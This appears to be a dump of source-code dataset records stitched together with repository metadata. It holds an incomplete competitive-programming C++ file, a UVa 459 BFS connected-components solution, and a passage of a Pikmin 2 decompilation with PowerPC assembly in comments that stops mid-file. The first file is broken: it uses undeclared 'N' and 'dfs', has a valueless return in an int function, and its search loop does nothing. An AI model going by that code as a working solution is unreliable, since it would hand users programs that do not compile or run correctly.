"Apache-2.0"
] | null | null | null | #include <iostream>
#include <cstdio>
#include <string>
#include <cstring>
#include <cstdlib>
#include <stack>
#include <algorithm>
#include <cctype>
#include <vector>
#include <queue>
#include <tr1/unordered_map>
#include <cmath>
#include <map>
#include <bitset>
#include <set>
#include <iomanip>
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
typedef vector<int> vi;
typedef pair<int,int> ii;
typedef vector< ii > vii;
///////////////////////////////UTIL/////////////////////////////////
#define ALL(x) (x).begin(),x.end()
#define CLEAR0(v) memset(v, 0, sizeof(v))
#define CLEAR(v, x) memset(v, x, sizeof(v))
#define COPY(a, b) memcpy(a, b, sizeof(a))
#define CMP(a, b) memcmp(a, b, sizeof(a))
#define REP(i,n) for(int i = 0; i<n; i++)
#define REPP(i,a,n) for(int i = a; i<n; i++)
#define REPD(i,n) for(int i = n-1; i>-1; i--)
#define REPDP(i,a,n) for(int i = n-1; i>=a; i--)
#define pb push_back
#define pf push_front
#define sz size()
#define mp make_pair
/////////////////////////////NUMERICAL//////////////////////////////
#define INF 0x3f3f3f3f
#define EPS 1e-9
/////////////////////////////BITWISE////////////////////////////////
#define CHECK(S, j) (S & (1 << j))
#define CHECKFIRST(S) (S & (-S))
#define SET(S, j) S |= (1 << j)
#define SETALL(S, j) S = (1 << j)-1
#define UNSET(S, j) S &= ~(1 << j)
#define TOOGLE(S, j) S ^= (1 << j)
///////////////////////////////64 BITS//////////////////////////////
#define LCHECK(S, j) (S & (1ULL << j))
#define LSET(S, j) S |= (1ULL << j)
#define LSETALL(S, j) S = (1ULL << j)-1ULL
#define LUNSET(S, j) S &= ~(1ULL << j)
#define LTOOGLE(S, j) S ^= (1ULL << j)
//__builtin_popcount(m)
//scanf(" %d ", &t);
int n, m;
int a[1000];
int dr[] = {1,-1,0,0};
int dc[] = {0,0,1,-1};
bitset<1000> vis;
vi g[260];
int bt(int v, int k){
if(k == 0){
return;
}
int t = g[v].size();
for(int msk = 0; msk < (1 << t); msk++){
int c[4], p = 0;
REP(i, t){
if(msk&(1 << i)){
c[p++] = g[v][i];
}
}
int l = k-p;
if(p == 0){
if(l > 0) return 0;
}
}
}
int main(){
while (scanf("%d %d", &n, &m) != EOF) {
vis.reset();
int ans = 0;
REP(i, n){
REP(j, n){
int p = i * n + j;
scanf(" %d ", &a[p]);
}
}
N = n*n;
REP(i, N){
int r = i/n, c = i%n;
REP(d, 4){
int nr = r + dr[d];
int nc = c + dc[d];
if(nr < 0 || nr >= n || nc < 0 || nc >= n) continue;
int j = nr*n + nc;
g[i].push_back(j);
g[j].push_back(i);
}
}
REP(i, N){
ans = max(ans, dfs(i, 1, a[i]));
vis[i] = true;
}
printf("%d\n", ans);
}
}
| 22.321739 | 68 | 0.488118 | henviso |
152aa86845581cb4ff2449eccfffca775b78f103 | 1,535 | cpp | C++ | Ch 4 Graph/Graph Traversal/Breadth First Search/uva-459-ConnectedComp.cpp | sladewinter/UVa-Online-Judge | 3e8003e8ae5452eed1468be44ae5d7bbcc763dd1 | [
"MIT"
] | null | null | null | Ch 4 Graph/Graph Traversal/Breadth First Search/uva-459-ConnectedComp.cpp | sladewinter/UVa-Online-Judge | 3e8003e8ae5452eed1468be44ae5d7bbcc763dd1 | [
"MIT"
] | null | null | null | Ch 4 Graph/Graph Traversal/Breadth First Search/uva-459-ConnectedComp.cpp | sladewinter/UVa-Online-Judge | 3e8003e8ae5452eed1468be44ae5d7bbcc763dd1 | [
"MIT"
] | null | null | null | //UVa 459 - Graph Connectivity
//Connected Components in Undirected Graph using BFS
#include <iostream>
#include <algorithm>
#include <string>
#include <vector>
#include <regex>
#include <queue>
using namespace std;
using vi = vector<int>;
using vvi = vector<vi>;
constexpr int INF{ 999999999 };
int dist[26]; //Distance from Source
vvi AdjList; //Adjacency List
void BFS( int source )
{
dist[source] = 0;
queue<int> que;
que.push(source);
while( !que.empty() )
{
int u{ que.front() };
que.pop();
for( auto &v : AdjList[u] )
if( dist[v] == INF )
{
dist[v] = dist[u] + 1;
que.push(v);
}
}
}
int main()
{
int tc; //No of test cases
string line;
scanf( "%d\n\n", &tc );
while( tc-- )
{
getline( cin, line );
int n{ line[0] - 64 }; //No of vertices
AdjList.assign( n, vi() );
while( getline( cin, line ) ) //May contain \r
{
line = regex_replace( line, regex("[\r]*"), "" );
if( line == "" )
break;
AdjList[line[0] - 65].push_back(line[1] - 65);
AdjList[line[1] - 65].push_back(line[0] - 65);
}
int numCC{ 0 }; //No of connected components
fill( dist, dist + n, INF );
for( int u{ 0 }; u < n; ++u )
if( dist[u] == INF )
{
++numCC;
BFS(u);
}
printf( "%d\n", numCC );
if( tc )
printf( "\n" );
}
return 0;
}
| 20.466667 | 64 | 0.482085 | sladewinter |
152b01078ef4581b9b4d2e0d2e740a057ed752d3 | 47,461 | cpp | C++ | src/plugProjectEbisawaU/efxEnemyBoss.cpp | projectPiki/pikmin2 | a431d992acde856d092889a515ecca0e07a3ea7c | [
"Unlicense"
] | 33 | 2021-12-08T11:10:59.000Z | 2022-03-26T19:59:37.000Z | src/plugProjectEbisawaU/efxEnemyBoss.cpp | projectPiki/pikmin2 | a431d992acde856d092889a515ecca0e07a3ea7c | [
"Unlicense"
] | 6 | 2021-12-22T17:54:31.000Z | 2022-01-07T21:43:18.000Z | src/plugProjectEbisawaU/efxEnemyBoss.cpp | projectPiki/pikmin2 | a431d992acde856d092889a515ecca0e07a3ea7c | [
"Unlicense"
] | 2 | 2022-01-04T06:00:49.000Z | 2022-01-26T07:27:28.000Z | #include "types.h"
/*
Generated from dpostproc
.section .rodata # 0x804732E0 - 0x8049E220
.global lbl_80497910
lbl_80497910:
.4byte 0x65667845
.4byte 0x6E656D79
.4byte 0x426F7373
.4byte 0x2E637070
.4byte 0x00000000
.global lbl_80497924
lbl_80497924:
.asciz "P2Assert"
.skip 3
.4byte 0x41726750
.4byte 0x726D436F
.4byte 0x6C6F7200
.4byte 0x41726750
.4byte 0x6F73506F
.4byte 0x73000000
.4byte 0x41726753
.4byte 0x63616C65
.4byte 0x00000000
.4byte 0x41726752
.4byte 0x6F745953
.4byte 0x63616C65
.4byte 0x00000000
.4byte 0x4172674B
.4byte 0x6368596F
.4byte 0x64617265
.4byte 0x00000000
.4byte 0x00000000
.section .data, "wa" # 0x8049E220 - 0x804EFC20
.global __vt__Q23efx16THdamaDeadHahen2
__vt__Q23efx16THdamaDeadHahen2:
.4byte 0
.4byte 0
.4byte create__Q23efx16THdamaDeadHahen2FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.global __vt__Q23efx16THdamaDeadHahen1
__vt__Q23efx16THdamaDeadHahen1:
.4byte 0
.4byte 0
.4byte create__Q23efx16THdamaDeadHahen1FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx12THdamaShootA
__vt__Q23efx12THdamaShootA:
.4byte 0
.4byte 0
.4byte create__Q23efx8TSimple1FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx11THdamaHit2W
__vt__Q23efx11THdamaHit2W:
.4byte 0
.4byte 0
.4byte create__Q23efx11THdamaHit2WFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple3Fv
.4byte fade__Q23efx8TSimple3Fv
.global __vt__Q23efx11THdamaShell
__vt__Q23efx11THdamaShell:
.4byte 0
.4byte 0
.4byte create__Q23efx11THdamaShellFPQ23efx3Arg
.4byte forceKill__Q23efx5TSyncFv
.4byte fade__Q23efx5TSyncFv
.4byte 0
.4byte 0
.4byte "@4@__dt__Q23efx11THdamaShellFv"
.4byte "@4@execute__Q23efx5TSyncFP14JPABaseEmitter"
.4byte "@4@executeAfter__Q23efx5TSyncFP14JPABaseEmitter"
.4byte draw__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte drawAfter__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte execute__Q23efx5TSyncFP14JPABaseEmitter
.4byte executeAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte doExecuteEmitterOperation__Q23efx9TChasePosFP14JPABaseEmitter
.4byte doExecuteAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte startDemoDrawOff__Q23efx5TSyncFv
.4byte endDemoDrawOn__Q23efx5TSyncFv
.4byte __dt__Q23efx11THdamaShellFv
.global __vt__Q23efx22TKchYodareBaseChaseMtx
__vt__Q23efx22TKchYodareBaseChaseMtx:
.4byte 0
.4byte 0
.4byte create__Q23efx22TKchYodareBaseChaseMtxFPQ23efx3Arg
.4byte forceKill__Q23efx22TKchYodareBaseChaseMtxFv
.4byte fade__Q23efx22TKchYodareBaseChaseMtxFv
.4byte 0
.4byte 0
.4byte "@4@__dt__Q23efx22TKchYodareBaseChaseMtxFv"
.4byte "@4@execute__Q23efx5TSyncFP14JPABaseEmitter"
.4byte "@4@executeAfter__Q23efx5TSyncFP14JPABaseEmitter"
.4byte draw__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte drawAfter__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte execute__Q23efx5TSyncFP14JPABaseEmitter
.4byte executeAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte doExecuteEmitterOperation__Q23efx9TChaseMtxFP14JPABaseEmitter
.4byte doExecuteAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte startDemoDrawOff__Q23efx22TKchYodareBaseChaseMtxFv
.4byte endDemoDrawOn__Q23efx22TKchYodareBaseChaseMtxFv
.4byte __dt__Q23efx22TKchYodareBaseChaseMtxFv
.global __vt__Q23efx27TParticleCallBack_KchYodare
__vt__Q23efx27TParticleCallBack_KchYodare:
.4byte 0
.4byte 0
.4byte __dt__Q23efx27TParticleCallBack_KchYodareFv
.4byte
execute__Q23efx27TParticleCallBack_KchYodareFP14JPABaseEmitterP15JPABaseParticle
.4byte draw__19JPAParticleCallBackFP14JPABaseEmitterP15JPABaseParticle
.4byte
init__Q23efx27TParticleCallBack_KchYodareFP14JPABaseEmitterP15JPABaseParticle
.global __vt__Q23efx13TKchDownsmoke
__vt__Q23efx13TKchDownsmoke:
.4byte 0
.4byte 0
.4byte create__Q23efx13TKchDownsmokeFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx10TKchDamage
__vt__Q23efx10TKchDamage:
.4byte 0
.4byte 0
.4byte create__Q23efx10TKchDamageFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple4Fv
.4byte fade__Q23efx8TSimple4Fv
.global __vt__Q23efx9TKchApWat
__vt__Q23efx9TKchApWat:
.4byte 0
.4byte 0
.4byte create__Q23efx9TKchApWatFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple5Fv
.4byte fade__Q23efx8TSimple5Fv
.global __vt__Q23efx10TKchApSand
__vt__Q23efx10TKchApSand:
.4byte 0
.4byte 0
.4byte create__Q23efx10TKchApSandFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple3Fv
.4byte fade__Q23efx8TSimple3Fv
.global __vt__Q23efx13TKchFlickSand
__vt__Q23efx13TKchFlickSand:
.4byte 0
.4byte 0
.4byte create__Q23efx13TKchFlickSandFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.global __vt__Q23efx10TOootaFire
__vt__Q23efx10TOootaFire:
.4byte 0
.4byte 0
.4byte create__Q23efx10TOootaFireFPQ23efx3Arg
.4byte "forceKill__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.4byte "fade__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.4byte "startDemoDrawOff__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.4byte "endDemoDrawOn__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.global __vt__Q23efx13TOootaBombLeg
__vt__Q23efx13TOootaBombLeg:
.4byte 0
.4byte 0
.4byte create__Q23efx13TOootaBombLegFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx10TKageDead2
__vt__Q23efx10TKageDead2:
.4byte 0
.4byte 0
.4byte create__Q23efx10TKageDead2FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx10TDangoTurn
__vt__Q23efx10TDangoTurn:
.4byte 0
.4byte 0
.4byte create__Q23efx10TDangoTurnFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.global __vt__Q23efx11TDangoCrash
__vt__Q23efx11TDangoCrash:
.4byte 0
.4byte 0
.4byte create__Q23efx11TDangoCrashFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.section .sdata2, "a" # 0x80516360 - 0x80520E40
.global lbl_8051FE38
lbl_8051FE38:
.asciz "ArgDir"
.skip 1
.global lbl_8051FE40
lbl_8051FE40:
.float 0.0
.global lbl_8051FE44
lbl_8051FE44:
.float 1.0
.global lbl_8051FE48
lbl_8051FE48:
.asciz "ArgRotY"
.global lbl_8051FE50
lbl_8051FE50:
.float 100.0
*/
namespace efx {
/*
* --INFO--
* Address: 803EB360
* Size: 0001A8
*/
void TDangoCrash::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stfd f30, 0x50(r1)
psq_st f30, 88(r1), 0, qr0
stfd f29, 0x40(r1)
psq_st f29, 72(r1), 0, qr0
stw r31, 0x3c(r1)
stw r30, 0x38(r1)
mr r30, r4
mr r31, r3
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE38@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB3DC
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x10
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB3DC:
lfs f31, 0x10(r30)
mr r3, r31
lfs f30, 0x14(r30)
mr r4, r30
lfs f29, 0x18(r30)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB4D4
fmuls f1, f30, f30
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f29, f29
fmadds f1, f31, f31, f1
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EB428
ble lbl_803EB42C
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EB42C
lbl_803EB428:
fmr f1, f0
lbl_803EB42C:
lfs f0, lbl_8051FE40@sda21(r2)
fcmpo cr0, f1, f0
ble lbl_803EB44C
lfs f0, lbl_8051FE44@sda21(r2)
fdivs f0, f0, f1
fmuls f31, f31, f0
fmuls f30, f30, f0
fmuls f29, f29, f0
lbl_803EB44C:
lfs f5, lbl_8051FE40@sda21(r2)
lis r3, "zero__10Vector3<f>"@ha
lfsu f3, "zero__10Vector3<f>"@l(r3)
li r30, 0
fmuls f2, f5, f29
lfs f6, lbl_8051FE44@sda21(r2)
fmuls f4, f5, f30
lfs f1, 4(r3)
lfs f0, 8(r3)
fmsubs f2, f5, f31, f2
fnmsubs f7, f6, f31, f4
stfs f5, 0xc(r1)
fmsubs f4, f6, f29, f4
stfs f31, 0x10(r1)
stfs f4, 8(r1)
stfs f3, 0x14(r1)
stfs f2, 0x18(r1)
stfs f6, 0x1c(r1)
stfs f30, 0x20(r1)
stfs f1, 0x24(r1)
stfs f7, 0x28(r1)
stfs f5, 0x2c(r1)
stfs f29, 0x30(r1)
stfs f0, 0x34(r1)
lbl_803EB4AC:
lwz r4, 8(r31)
addi r3, r1, 8
addi r4, r4, 0x68
bl JPASetRMtxfromMtx__FPA4_CfPA4_f
addi r30, r30, 1
addi r31, r31, 4
cmpwi r30, 2
blt lbl_803EB4AC
li r3, 1
b lbl_803EB4D8
lbl_803EB4D4:
li r3, 0
lbl_803EB4D8:
psq_l f31, 104(r1), 0, qr0
lfd f31, 0x60(r1)
psq_l f30, 88(r1), 0, qr0
lfd f30, 0x50(r1)
psq_l f29, 72(r1), 0, qr0
lfd f29, 0x40(r1)
lwz r31, 0x3c(r1)
lwz r0, 0x74(r1)
lwz r30, 0x38(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EB508
* Size: 00011C
*/
void TDangoTurn::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stfd f30, 0x50(r1)
psq_st f30, 88(r1), 0, qr0
stfd f29, 0x40(r1)
psq_st f29, 72(r1), 0, qr0
stw r31, 0x3c(r1)
stw r30, 0x38(r1)
mr r30, r4
mr r31, r3
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE48@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB584
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x2f
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB584:
lfs f31, 4(r30)
addi r3, r1, 8
lfs f30, 8(r30)
li r4, 0x79
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r31
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB5F0
li r30, 0
lbl_803EB5C4:
lwz r5, 8(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
addi r30, r30, 1
addi r31, r31, 4
cmpwi r30, 2
blt lbl_803EB5C4
li r3, 1
b lbl_803EB5F4
lbl_803EB5F0:
li r3, 0
lbl_803EB5F4:
psq_l f31, 104(r1), 0, qr0
lfd f31, 0x60(r1)
psq_l f30, 88(r1), 0, qr0
lfd f30, 0x50(r1)
psq_l f29, 72(r1), 0, qr0
lfd f29, 0x40(r1)
lwz r31, 0x3c(r1)
lwz r0, 0x74(r1)
lwz r30, 0x38(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EB624
* Size: 000030
*/
void TKageMove::setGlobalPrmColor(Color4&)
{
/*
lwz r6, 8(r3)
cmplwi r6, 0
beqlr
lbz r5, 2(r4)
lbz r3, 1(r4)
lbz r0, 0(r4)
stb r0, 0xb8(r6)
stb r3, 0xb9(r6)
stb r5, 0xba(r6)
lbz r0, 3(r4)
stb r0, 0xbb(r6)
blr
*/
}
/*
* --INFO--
* Address: 803EB654
* Size: 000030
*/
void TKageRun::setGlobalPrmColor(Color4&)
{
/*
lwz r6, 8(r3)
cmplwi r6, 0
beqlr
lbz r5, 2(r4)
lbz r3, 1(r4)
lbz r0, 0(r4)
stb r0, 0xb8(r6)
stb r3, 0xb9(r6)
stb r5, 0xba(r6)
lbz r0, 3(r4)
stb r0, 0xbb(r6)
blr
*/
}
/*
* --INFO--
* Address: 803EB684
* Size: 000030
*/
void TKageDead1::setGlobalPrmColor(Color4&)
{
/*
lwz r6, 8(r3)
cmplwi r6, 0
beqlr
lbz r5, 2(r4)
lbz r3, 1(r4)
lbz r0, 0(r4)
stb r0, 0xb8(r6)
stb r3, 0xb9(r6)
stb r5, 0xba(r6)
lbz r0, 3(r4)
stb r0, 0xbb(r6)
blr
*/
}
/*
* --INFO--
* Address: 803EB6B4
* Size: 0000CC
*/
void TKageDead2::create(efx::Arg*)
{
/*
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
mr r30, r4
lis r4, lbl_80497910@ha
stw r29, 0x14(r1)
mr r29, r3
mr r3, r30
addi r31, r4, lbl_80497910@l
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x20
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB71C
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x67
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB71C:
mr r3, r29
mr r4, r30
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB760
lbz r6, 0x12(r30)
li r3, 1
lbz r5, 0x11(r30)
lwz r4, 8(r29)
lbz r0, 0x10(r30)
stb r0, 0xb8(r4)
stb r5, 0xb9(r4)
stb r6, 0xba(r4)
lbz r0, 0x13(r30)
lwz r4, 8(r29)
stb r0, 0xbb(r4)
b lbl_803EB764
lbl_803EB760:
li r3, 0
lbl_803EB764:
lwz r0, 0x24(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x20
blr
*/
}
/*
* --INFO--
* Address: ........
* Size: 000018
*/
void TOootaParticle::setGlobalDynamicsScale(float)
{
// UNUSED FUNCTION
}
/*
* --INFO--
* Address: 803EB780
* Size: 000174
*/
void TOootaBombLeg::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x2c
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB7F0
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x84
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB7F0:
lfs f0, 0x10(r30)
mr r3, r29
mr r4, r30
stfs f0, 0x14(r1)
lfs f0, 0x14(r30)
stfs f0, 0x18(r1)
lfs f0, 0x18(r30)
stfs f0, 0x1c(r1)
lfs f0, 0x1c(r30)
stfs f0, 8(r1)
lfs f0, 0x20(r30)
stfs f0, 0xc(r1)
lfs f0, 0x24(r30)
stfs f0, 0x10(r1)
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB8CC
addi r3, r1, 0x20
addi r4, r1, 0x14
addi r5, r1, 8
bl "makeMtxZAxisAlongPosPos__3efxFPA4_fR10Vector3<f>R10Vector3<f>"
lfs f1, 0xc(r1)
lfs f0, 0x18(r1)
lfs f3, 0x10(r1)
fsubs f4, f1, f0
lfs f2, 0x1c(r1)
lfs f1, 8(r1)
lfs f0, 0x14(r1)
fsubs f2, f3, f2
fmuls f3, f4, f4
fsubs f1, f1, f0
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f2, f2
fmadds f1, f1, f1, f3
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EB894
ble lbl_803EB898
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EB898
lbl_803EB894:
fmr f1, f0
lbl_803EB898:
lfs f0, lbl_8051FE50@sda21(r2)
addi r3, r1, 0x20
lwz r5, 8(r29)
fdivs f31, f1, f0
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r4, 8(r29)
li r3, 1
lfs f1, 4(r4)
fmuls f1, f1, f31
stfs f1, 4(r4)
b lbl_803EB8D0
lbl_803EB8CC:
li r3, 0
lbl_803EB8D0:
psq_l f31, 104(r1), 0, qr0
lwz r0, 0x74(r1)
lfd f31, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EB8F4
* Size: 000150
*/
void TOootaFire::create(efx::Arg*)
{
/*
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
or. r30, r4, r4
lis r4, lbl_80497910@ha
stw r29, 0x14(r1)
mr r29, r3
addi r31, r4, lbl_80497910@l
bne lbl_803EB934
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xa1
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB934:
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x38
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB974
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xa2
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB974:
mr r3, r29
mr r4, r30
bl "create__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>FPQ23efx3Arg"
clrlwi. r0, r3, 0x18
beq lbl_803EBA24
lfs f0, 0x10(r30)
li r3, 1
lwz r4, 0xc(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x20(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x34(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x48(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x5c(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x70(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
b lbl_803EBA28
lbl_803EBA24:
li r3, 0
lbl_803EBA28:
lwz r0, 0x24(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x20
blr
*/
}
/*
* --INFO--
* Address: 803EBA44
* Size: 000154
*/
void TKchFlickSand::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stfd f28, 0x50(r1)
psq_st f28, 88(r1), 0, qr0
stw r31, 0x4c(r1)
stw r30, 0x48(r1)
stw r29, 0x44(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x44
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBACC
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xb5
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBACC:
lfs f28, 0x14(r30)
addi r3, r1, 8
lfs f31, 4(r30)
li r4, 0x79
lfs f30, 8(r30)
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r29
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBB58
li r30, 0
mr r31, r29
lbl_803EBB14:
lwz r5, 8(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 8(r31)
addi r30, r30, 1
cmpwi r30, 2
addi r31, r31, 4
stfs f28, 0x98(r3)
stfs f28, 0x9c(r3)
stfs f28, 0xa0(r3)
stfs f28, 0xb0(r3)
stfs f28, 0xb4(r3)
blt lbl_803EBB14
li r3, 1
b lbl_803EBB5C
lbl_803EBB58:
li r3, 0
lbl_803EBB5C:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
psq_l f28, 88(r1), 0, qr0
lfd f28, 0x50(r1)
lwz r31, 0x4c(r1)
lwz r30, 0x48(r1)
lwz r0, 0x94(r1)
lwz r29, 0x44(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EBB98
* Size: 000154
*/
void TKchApSand::create(efx::Arg*)
